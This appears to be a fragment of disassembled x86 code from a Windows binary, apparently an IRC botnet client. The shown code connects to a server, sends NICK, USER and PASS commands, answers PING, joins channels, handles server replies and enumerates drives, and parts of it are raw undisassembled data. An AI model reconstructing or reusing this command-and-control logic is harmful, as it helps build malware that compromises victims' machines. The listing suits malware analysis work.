call sub_415A4A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_417730
push edx
push eax
call sub_40C1FC
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_415A4A
add esp, 18h
pop ebx
jmp short loc_40C413
; ---------------------------------------------------------------------------
loc_40C3E4: ; CODE XREF: sub_40C30C+2Cj
; sub_40C30C+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4154CD
lea eax, [ebp+var_118]
push esi
push eax
call sub_4154CD
lea eax, [ebp+var_98]
push esi
push eax
call sub_4154CD
add esp, 18h
loc_40C413: ; CODE XREF: sub_40C30C+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C30C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C427 proc near ; CODE XREF: sub_40C4F9+17p
; sub_40C4F9+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40C30C
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_4158F0
add esp, 10h
test eax, eax
jnz short loc_40C49A
push ebx
push ebx
call sub_40C27B
pop ecx
push eax
push offset dword_42C0F0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_415A4A
add esp, 14h
jmp short loc_40C4CE
; ---------------------------------------------------------------------------
loc_40C49A: ; CODE XREF: sub_40C427+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40C27B
pop ecx
push eax
push offset dword_42C0A0
lea eax, [ebp+var_500]
push 200h
push eax
call sub_415A4A
add esp, 20h
loc_40C4CE: ; CODE XREF: sub_40C427+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
lea eax, [ebp+var_500]
push eax
call sub_40B151
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40C427 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C4F9 proc near ; CODE XREF: seg000:00412051p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40C51A
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C427
add esp, 10h
jmp short loc_40C57B
; ---------------------------------------------------------------------------
loc_40C51A: ; CODE XREF: sub_40C4F9+9j
push esi
push edi
push ebx
push ebx
call ds:dword_43A2E8 ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_415DA9
pop ecx
mov edi, eax
push edi
push esi
call ds:dword_43A2E8 ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_40C572
loc_40C53E: ; CODE XREF: sub_40C4F9+77j
push offset aA_0 ; "A:\\"
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40C561
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C427
add esp, 10h
loc_40C561: ; CODE XREF: sub_40C4F9+54j
push esi
call sub_415CD0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40C53E
loc_40C572: ; CODE XREF: sub_40C4F9+43j
push edi
call sub_415E1D
pop ecx
pop edi
pop esi
loc_40C57B: ; CODE XREF: sub_40C4F9+1Fj
pop ebx
pop ebp
retn
sub_40C4F9 endp
; ---------------------------------------------------------------------------
loc_40C57E: ; DATA XREF: seg000:0040C677o
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push ds:dword_43F514
call ds:dword_43A410 ; closesocket
call sub_415142
call ds:dword_43A2D8 ; WSACleanup
call ds:dword_43A2D8 ; WSACleanup
mov ebx, ds:dword_421060
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp-10h]
push edi
push eax
call sub_415550
push 44h
lea eax, [ebp-54h]
pop esi
push esi
push edi
push eax
call sub_415550
add esp, 18h
mov [ebp-54h], esi
mov esi, 104h
lea eax, [ebp-25Ch]
push esi
push eax
mov dword ptr [ebp-48h], offset byte_438F9C
mov dword ptr [ebp-28h], 1
mov [ebp-24h], di
call near ptr 3D0000h
mov esp, 0FEA8858Dh
; ---------------------------------------------------------------------------
dd 5056FFFFh, 39FAE857h, 8D1EFFFCh, 8D50F045h, 8D50AC45h
dd 0FFFDA485h, 6A5750FFh, 57016A28h, 0FEA8858Dh, 5057FFFFh
dd 39D6E857h, 855EFFFCh, 6A1474C0h, 0FFD3FF64h, 358BF075h
dd 42106Ch, 75FFD6FFh, 8BD6FFF4h, 80C71045h, 0B0h, 43E780h
dd 6424048Bh, 0A3h, 8C48300h, 1415FF57h, 5F004211h
; ---------------------------------------------------------------------------
pop esi
pop ebx
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-0Ch], ebx
mov dword ptr [ebp-8], offset loc_40C57E
push dword ptr [ebp-8]
push large dword ptr fs:0
mov large fs:0, esp
cmp ds:dword_42C158, ebx
jz short loc_40C69C
call sub_409F81
loc_40C69C: ; CODE XREF: seg000:0040C695j
mov esi, ds:dword_42104C
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov ds:dword_4687F8, eax
call esi ; GetTickCount
push eax
call sub_41551F
pop ecx
call sub_4089D6
push 2
call ds:dword_43A424 ; SetErrorMode
push 7530h
push offset aIds443 ; "ids443"
push ebx
push ebx
call near ptr 10A0004h
cdq
push eax
call near ptr 12E0004h
in eax, 3Dh
add al, [ecx]
; ---------------------------------------------------------------------------
dd 8750000h, 15FF016Ah, 421114h, 0F77C858Dh, 6850FFFFh
dd 202h, 0A2F015FFh, 0C33B0043h, 0FF84589h, 44385h, 7CBD8000h
dd 2FFFFF7h, 430850Fh, 0C0330000h, 0F77D858Ah, 23CFFFFh
dd 420850Fh, 4BE0000h, 8D000001h, 0FFFC1085h, 0E85056FFh
dd 0EF38C8h, 14858D7Fh, 56FFFFFDh, 0B9E85350h, 3800F138h
dd 38B2E850h, 8D0400F3h, 0FFFB1085h, 858D50FFh, 0FFFFF90Ch
dd 858D5350h, 0FFFFFD14h, 0B9E85053h, 8D0000ABh, 0FFFB1085h
dd 858D50FFh, 0FFFFF90Ch, 6C806850h, 858D0042h, 0FFFFFA0Ch
dd 0BBE85056h, 8D000092h, 0FFFC1085h, 858D50FFh, 0FFFFFD14h
dd 92FEE850h, 0C4830000h, 0FC08530h, 1A685h, 681D3900h
dd 0BE004689h, 42C1B8h, 33563174h, 950EE8FFh, 0E8830000h
dd 23745904h, 8D5CE8h, 991A6A00h, 56F9F759h, 8861C280h
dd 42C1B897h, 0EDE84700h, 83000094h, 3B5904E8h, 8DDD72F8h
dd 0FFFC1085h, 8D5056FFh, 0FFFE1885h, 906868FFh, 0E8500042h
dd 8CC9h, 8D10C483h, 0FFFE1885h, 15FF50FFh, 421094h, 74FFF883h
dd 18858D12h, 68FFFFFEh, 80h, 37D6E850h, 8B73FFFCh, 42112435h
dd 18858D00h, 53FFFFFEh, 14858D50h, 33FFFFFDh, 0D6FF50FFh
dd 3375C085h, 108815FFh, 0FB3B0042h, 0F8832975h, 83057420h
dd 1F7505F8h, 685F016Ah, 3A98h, 106015FFh, 858D0042h, 0FFFFFE18h
dd 858D5053h, 0FFFFFD14h, 8DC7EB50h, 0FFFE1885h, 0ACE850FFh
dd 59FFFFD4h, 0FE18858Dh, 76AFFFFh, 376EE850h, 6AC600F9h
dd 0E4458D10h, 0ADE85053h, 6A00008Ch, 9C458D44h, 5053565Eh
dd 8C9FE8h, 18C48300h, 0C79C7589h, 8F9CA845h, 89660043h
dd 16ACC5Dh, 0C875895Eh, 0FB3737E8h, 56509C00h, 10000068h
dd 372AE800h, 8D8000FDh, 0FFFD148Dh, 8D5051FFh, 0FFFE1885h
dd 858D50FFh, 0FFFFF678h, 43313868h, 0D2E85000h, 8300008Bh
dd 458D14C4h, 458D50E4h, 858D509Ch, 0FFFFFC10h, 286A5350h
dd 858D5356h, 0FFFFF678h, 858D5053h, 0FFFFFE18h, 36DEE850h
dd 851900FFh, 682874C0h, 0C8h, 106015FFh, 75FF0042h, 6C358BE4h
dd 0FF004210h, 0E875FFD6h, 15FFD6FFh, 43A2D8h, 1415FF53h
dd 83004211h, 4694903Dh, 437E0200h, 469494A1h, 470FF00h
dd 90D6E8h, 0F08B5900h, 0E856FF6Ah, 0FFFC368Ch, 15FF563Ch
dd 42106Ch, 469494A1h, 8583900h, 0D0681974h, 0FF000007h
dd 42106015h, 9494A100h, 70FF0046h, 3662E808h, 39C9FFFCh
dd 42C1601Dh, 39157400h, 43A4481Dh, 8D0D7500h, 0FFFA0C85h
dd 0D7E850FFh, 59FFFFE9h, 0FF1C858Dh, 0C68FFFFh, 50004331h
dd 8B00E8h, 858D5300h, 0FFFFFF1Ch, 9EE85053h, 8D000085h
dd 0FFFF1C85h, 6AE850FFh, 68FFFFE7h, 0B80h, 0E7886853h
dd 59E80043h, 0E800008Bh, 8B2Dh, 88687F6Ah, 680042C1h
dd 468804h, 897C1D89h, 0DE80046h, 0A10000A3h, 42C144h
dd 84BF3F6Ah, 68004688h, 42C194h, 8954A357h, 0F1E80046h
dd 6A0000A2h, 88C4BE3Fh, 98680046h, 560042C1h, 0A2DFE8h
dd 48C48300h, 89581D89h, 5D890046h, 601D39FCh, 750043A4h
dd 0E0458D16h, 15FF5053h, 43A2BCh, 775C085h, 753068h, 682CEB00h
dd 468800h, 89781D89h, 0DEE80046h, 83000000h, 458902F8h
dd 0BE840FF8h, 39000000h, 4689781Dh, 0FF037400h, 0B868FC4Dh
dd 0FF00000Bh, 42106015h, 0FC45FF00h, 6FC7D83h, 7D83A77Ch
dd 840F02F8h, 95h, 74F45D39h, 687F6A40h, 42C188h, 46880468h
dd 0A25AE800h, 44A10000h, 6A0042C1h, 0C194683Fh, 0A3570042h
dd 468954h, 0A243E8h, 683F6A00h, 42C198h, 0A236E856h, 0C4830000h
dd 0F45D8924h, 0FFFF55E9h, 0A01D38FFh, 0F0042C1h, 0FFFF4984h
dd 687F6AFFh, 42C1A0h, 46880468h, 0A20EE800h, 48A10000h
dd 6A0042C1h, 0C1AC683Fh, 0A3570042h, 468954h, 0A1F7E8h
dd 683F6A00h, 42C1B0h, 0A1EAE856h, 0C4830000h, 0F445C724h
dd 1, 0FFFF05E9h, 85F8E8FFh, 15FF0000h, 43A2D8h, 0C0335E5Fh
dd 10C2C95Bh
db 0
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB59 proc near ; DATA XREF: seg000:0041080Eo
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40CB7E: ; CODE XREF: sub_40CB59+E6j
; sub_40CB59+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415550
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call ds:dword_43A378 ; ntohs
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A03F
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40CCAB
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_415550
push 0
lea eax, [ebp+var_2C]
push ds:dword_46896C
push ds:dword_42C16C
push eax
call sub_414419
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43F520
push edi
push eax
call sub_416D20
add esp, 28h
push 6
push 1
push 2
call ds:dword_43A3F8 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov ds:dword_43F514[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_40CC44
push esi
call ds:dword_43A410 ; closesocket
call sub_40A068
push 7D0h
loc_40CC39: ; CODE XREF: sub_40CB59+146j
call ds:dword_421060 ; Sleep
jmp loc_40CB7E
; ---------------------------------------------------------------------------
loc_40CC44: ; CODE XREF: sub_40CB59+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_433144
call sub_40B1C5
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40CCC1
add esp, 28h
mov edi, eax
push esi
call ds:dword_43A410 ; closesocket
test edi, edi
jz loc_40CB7E
cmp edi, 1
jnz short loc_40CCA1
push 0DBBA0h
jmp short loc_40CC39
; ---------------------------------------------------------------------------
loc_40CCA1: ; CODE XREF: sub_40CB59+13Fj
cmp edi, 2
jz short loc_40CCAF
jmp loc_40CB7E
; ---------------------------------------------------------------------------
loc_40CCAB: ; CODE XREF: sub_40CB59+5Aj
xor eax, eax
jmp short loc_40CCBB
; ---------------------------------------------------------------------------
loc_40CCAF: ; CODE XREF: sub_40CB59+14Bj
push [ebp+var_34]
call sub_415295
pop ecx
push 2
pop eax
loc_40CCBB: ; CODE XREF: sub_40CB59+154j
pop edi
pop esi
leave
retn 4
sub_40CB59 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCC1 proc near ; CODE XREF: sub_40CB59+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_415D50
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40CCDF: ; CODE XREF: sub_40CCC1+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40CCDF
cmp ds:byte_468970, bl
jz short loc_40CD06
push offset byte_468970
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_412CEC
add esp, 0Ch
loc_40CD06: ; CODE XREF: sub_40CCC1+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_414419
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4154CD
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_415CD0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_40CD70
push [ebp+arg_0]
call ds:dword_43A410 ; closesocket
push 1388h
call ds:dword_421060 ; Sleep
loc_40CD69: ; CODE XREF: sub_40CCC1+D9j
; sub_40CCC1+153j
xor eax, eax
loc_40CD6B: ; CODE XREF: sub_40CCC1+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40CD70: ; CODE XREF: sub_40CCC1+92j
; sub_40CCC1+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call ds:dword_43A390 ; recv
test eax, eax
jle short loc_40CD69
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_409A1F
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40CD70
lea edi, [ebp+var_A10]
loc_40CDC1: ; CODE XREF: sub_40CCC1+165j
push 1
pop esi
loc_40CDC4: ; CODE XREF: sub_40CCC1+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call loc_40CE39
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40CE07
push 7D0h
call ds:dword_421060 ; Sleep
jmp short loc_40CDC4
; ---------------------------------------------------------------------------
loc_40CE07: ; CODE XREF: sub_40CCC1+137j
cmp esi, 0FFFFFFFDh
jz short loc_40CE31
cmp esi, 0FFFFFFFEh
jz short loc_40CE2D
cmp esi, 0FFFFFFFFh
jz loc_40CD69
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40CDC1
jmp loc_40CD70
; ---------------------------------------------------------------------------
loc_40CE2D: ; CODE XREF: sub_40CCC1+14Ej
push 1
jmp short loc_40CE33
; ---------------------------------------------------------------------------
loc_40CE31: ; CODE XREF: sub_40CCC1+149j
push 2
loc_40CE33: ; CODE XREF: sub_40CCC1+16Ej
pop eax
jmp loc_40CD6B
sub_40CCC1 endp
; ---------------------------------------------------------------------------
loc_40CE39: ; CODE XREF: sub_40CCC1+12Ap
push ebp
mov ebp, esp
mov eax, 159Ch
call sub_415D50
push ebx
push esi
mov esi, 200h
push edi
xor ebx, ebx
push esi
lea eax, [ebp-2C8h]
push ebx
push eax
mov dword ptr [ebp-0ACh], 3
mov [ebp-10h], ebx
mov [ebp-98h], ebx
mov [ebp-8], ebx
mov [ebp-4], ebx
mov [ebp-0C8h], ebx
call sub_415550
push 1Bh
lea eax, [ebp-564h]
push dword ptr [ebp+18h]
push eax
call sub_416D20
add esp, 18h
cmp [ebp+8], ebx
jz loc_40D1FD
push esi
lea eax, [ebp-0F9Ch]
push ebx
push eax
call sub_415550
dec esi
lea eax, [ebp-0F9Ch]
push esi
push dword ptr [ebp+8]
push eax
call sub_416D20
lea eax, [ebp-0F9Ch]
push offset asc_43656C ; " :"
push eax
call sub_415AA0
mov [ebp-0Ch], eax
lea eax, [ebp-0F9Ch]
push esi
push eax
lea eax, [ebp-119Ch]
push eax
call sub_416D20
mov esi, offset asc_4269C8 ; " "
lea eax, [ebp-119Ch]
push esi
push eax
call sub_416C78
add esp, 34h
mov [ebp-94h], eax
lea edi, [ebp-90h]
mov dword ptr [ebp-0A8h], 1Fh
loc_40CF0C: ; CODE XREF: seg000:0040CF20j
push esi
push ebx
call sub_416C78
mov [edi], eax
pop ecx
add edi, 4
dec dword ptr [ebp-0A8h]
pop ecx
jnz short loc_40CF0C
mov esi, [ebp-94h]
cmp esi, ebx
jz loc_40D1FD
cmp [ebp-90h], ebx
jz loc_40D1FD
push 100h
lea eax, [ebp-0A14h]
push ebx
push eax
call sub_415550
add esp, 0Ch
lea ecx, [ebp-18h]
push 1Fh
pop edx
push 1
pop edi
loc_40CF5A: ; CODE XREF: seg000:0040CF8Cj
mov eax, [ecx]
cmp eax, ebx
jz short loc_40CF86
cmp byte ptr [eax], 2Dh
jnz short loc_40CF8E
cmp [eax+2], bl
jnz short loc_40CF8E
movsx esi, byte ptr [eax+1]
mov [ecx], ebx
mov byte ptr [ebp+esi-0A14h], 1
mov esi, [ebp-94h]
mov [eax], bl
mov [eax+1], bl
mov [eax+2], bl
loc_40CF86: ; CODE XREF: seg000:0040CF5Ej
dec edx
sub ecx, 4
cmp edx, ebx
jge short loc_40CF5A
loc_40CF8E: ; CODE XREF: seg000:0040CF63j
; seg000:0040CF68j
cmp [ebp-9A1h], bl
jz short loc_40CF99
mov [ebp-8], edi
loc_40CF99: ; CODE XREF: seg000:0040CF94j
cmp [ebp-9A6h], bl
jz short loc_40CFA7
mov [ebp-8], ebx
mov [ebp-4], edi
loc_40CFA7: ; CODE XREF: seg000:0040CF9Fj
cmp byte ptr [esi], 0Ah
jz short loc_40CFE1
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_416D20
lea eax, [esi+1]
push 17h
push eax
lea eax, [ebp-0C4h]
push eax
call sub_416D20
lea eax, [ebp-0C4h]
push offset dword_42F3A4
push eax
call sub_416C78
add esp, 20h
loc_40CFE1: ; CODE XREF: seg000:0040CFAAj
push esi
push offset aPing ; "PING"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D032
push dword ptr [ebp-90h]
mov byte ptr [esi+1], 4Fh
push offset aPongS ; "PONG %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
mov eax, [ebp+28h]
add esp, 0Ch
cmp [eax], ebx
jnz loc_40D0D6
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
add esp, 10h
jmp loc_40D0D6
; ---------------------------------------------------------------------------
loc_40D032: ; CODE XREF: seg000:0040CFF0j
mov esi, [ebp-90h]
push esi
push offset a001 ; "001"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412B00
push esi
push offset a005 ; "005"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz loc_412B00
push esi
push offset a302 ; "302"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D09D
push offset a@_6 ; "@"
push dword ptr [ebp-88h]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_40D0D6
inc eax
push 9Fh
push eax
push dword ptr [ebp+24h]
call sub_416D20
add esp, 0Ch
jmp short loc_40D0D6
; ---------------------------------------------------------------------------
loc_40D09D: ; CODE XREF: seg000:0040D071j
push esi
push offset a433 ; "433"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D0DD
push ebx
push ds:dword_46896C
push ds:dword_42C16C
push dword ptr [ebp+18h]
call sub_414419
push dword ptr [ebp+18h]
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
add esp, 1Ch
loc_40D0D6: ; CODE XREF: seg000:0040D011j
; seg000:0040D02Dj ...
mov eax, edi
jmp loc_40D200
; ---------------------------------------------------------------------------
loc_40D0DD: ; CODE XREF: seg000:0040D0ACj
mov esi, [ebp+20h]
mov dword ptr [ebp-0A8h], 2
mov edi, 80h
loc_40D0EF: ; CODE XREF: seg000:0040D114j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D10C
mov dword ptr [ebp-98h], 1
loc_40D10C: ; CODE XREF: seg000:0040D100j
add esi, edi
dec dword ptr [ebp-0A8h]
jnz short loc_40D0EF
mov esi, [ebp-90h]
push esi
push offset aKick ; "KICK"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D205
mov esi, [ebp+20h]
mov dword ptr [ebp+2Ch], 2
loc_40D13B: ; CODE XREF: seg000:0040D1C8j
cmp [esi], bl
jz loc_40D1C3
push 7Fh
lea eax, [ebp-0A94h]
push esi
push eax
call sub_416D20
lea eax, [ebp-0C4h]
add esp, 0Ch
test eax, eax
jz short loc_40D1C3
cmp [ebp-88h], ebx
jz short loc_40D1C3
push dword ptr [ebp-88h]
lea eax, [ebp-0C4h]
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D1C3
lea eax, [ebp-0C4h]
mov [esi], bl
push eax
lea eax, [ebp-2C8h]
push offset dword_4364F8
push eax
call sub_4154CD
lea eax, [ebp-2C8h]
push eax
lea eax, [ebp-0C4h]
push eax
push offset aNoticeSS ; "NOTICE %s :%s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
lea eax, [ebp-2C8h]
push eax
call sub_40B151
add esp, 20h
loc_40D1C3: ; CODE XREF: seg000:0040D13Dj
; seg000:0040D15Dj ...
add esi, edi
dec dword ptr [ebp+2Ch]
jnz loc_40D13B
push dword ptr [ebp-88h]
push dword ptr [ebp+18h]
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D1FD
push dword ptr [ebp+14h]
mov eax, [ebp+28h]
push dword ptr [ebp+10h]
mov [eax], ebx
push offset aJoinSS ; "JOIN %s %s\r\n"
loc_40D1F2: ; CODE XREF: seg000:0040D44Ej
; seg000:0040D7A5j
push dword ptr [ebp+0Ch]
call sub_412CEC
loc_40D1FA: ; CODE XREF: seg000:00412039j
; seg000:00412056j ...
add esp, 10h
loc_40D1FD: ; CODE XREF: seg000:0040CE94j
; seg000:0040CF2Aj ...
push 1
loc_40D1FF: ; CODE XREF: seg000:00412580j
pop eax
loc_40D200: ; CODE XREF: seg000:0040D0D8j
; seg000:0040EF9Dj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40D205: ; CODE XREF: seg000:0040D12Bj
push esi
push offset aNick ; "NICK"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D35B
mov eax, [ebp-8Ch]
mov esi, [ebp+20h]
inc eax
mov dword ptr [ebp+8], 2
mov [ebp+2Ch], eax
loc_40D22E: ; CODE XREF: seg000:0040D280j
lea eax, [ebp-0A94h]
push eax
push esi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D27B
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_417060
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+24h], eax
jz short loc_40D27B
push dword ptr [ebp+2Ch]
lea edi, [esi+2]
mov byte ptr [esi], 3Ah
lea eax, [edi-1]
push eax
call sub_415BE0
push dword ptr [ebp+24h]
push edi
call sub_415BF0
add esp, 10h
mov edi, 80h
loc_40D27B: ; CODE XREF: seg000:0040D23Fj
; seg000:0040D256j
add esi, edi
dec dword ptr [ebp+8]
jnz short loc_40D22E
lea eax, [ebp-0C4h]
test eax, eax
jz loc_40D1FD
cmp [ebp+2Ch], ebx
jz loc_40D1FD
push dword ptr [ebp+18h]
lea eax, [ebp-0C4h]
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D2C3
push 0Fh
push dword ptr [ebp+2Ch]
push dword ptr [ebp+18h]
call sub_416D20
add esp, 0Ch
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_40D2C3: ; CODE XREF: seg000:0040D2ACj
mov edi, [ebp+20h]
xor esi, esi
loc_40D2C8: ; CODE XREF: seg000:0040D2E9j
cmp [edi], bl
jz short loc_40D2DF
lea eax, [ebp-0A94h]
push eax
push edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40D2F0
loc_40D2DF: ; CODE XREF: seg000:0040D2CAj
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D2C8
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_40D2F0: ; CODE XREF: seg000:0040D2DDj
lea eax, [ebp-0A94h]
push 21h
push eax
call sub_417060
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+8], eax
jz loc_40D1FD
push eax
call sub_415CD0
push dword ptr [ebp+2Ch]
mov edi, eax
call sub_415CD0
add edi, eax
pop ecx
cmp edi, 7Eh
pop ecx
ja loc_40D1FD
push dword ptr [ebp+8]
shl esi, 7
push dword ptr [ebp+2Ch]
add esi, [ebp+20h]
push offset aSS_0 ; ":%s%s"
push esi
call sub_4154CD
push ebx
lea eax, [ebp-4ACh]
push ebx
push eax
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 24h
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_40D35B: ; CODE XREF: seg000:0040D214j
push esi
push offset aPart ; "PART"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40D37D
push esi
push offset aQuit ; "QUIT"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3A4
loc_40D37D: ; CODE XREF: seg000:0040D36Aj
mov edi, [ebp+20h]
xor esi, esi
loc_40D382: ; CODE XREF: seg000:0040D3A2j
cmp [edi], bl
jz short loc_40D398
push dword ptr [ebp-94h]
push edi
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40D3F2
loc_40D398: ; CODE XREF: seg000:0040D384j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_40D382
loc_40D3A4: ; CODE XREF: seg000:0040D37Bj
push dword ptr [ebp-90h]
push offset a353 ; "353"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz loc_40D453
push dword ptr [ebp-84h]
push dword ptr [ebp+10h]
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_40D3DB
